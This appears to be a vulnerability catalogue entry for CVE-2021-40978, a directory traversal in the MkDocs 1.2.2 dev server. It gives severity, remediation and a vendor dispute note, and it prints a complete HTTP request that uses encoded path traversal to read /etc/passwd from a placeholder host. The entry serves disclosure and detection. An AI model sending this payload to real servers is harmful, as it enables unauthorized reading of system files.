| Title | MKdocs 1.2.2 - Directory Traversal |
|---|---|
| Author | pikpikcu |
| Severity | High |
| Impact | An attacker can read or modify sensitive files on the server, potentially leading to unauthorized access, data leakage, or system compromise. |
| Remediation | Upgrade MKdocs to version 1.2.3 or later to fix the directory traversal vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.84812 |
| CVE ID | CVE-2021-40978 |
| CWE ID | CWE-22 |
| Tags | cve2021 cve mkdocs lfi vuln |
The MKdocs 1.2.2 built-in dev-server allows directory traversal using the port 8000, enabling remote exploitation to obtain sensitive information. Note the vendor has disputed the vulnerability (see references) because the dev server must be used in an unsafe way (namely public) to have this vulnerability exploited.
GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-40978.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-40978.pcap
N/AN/A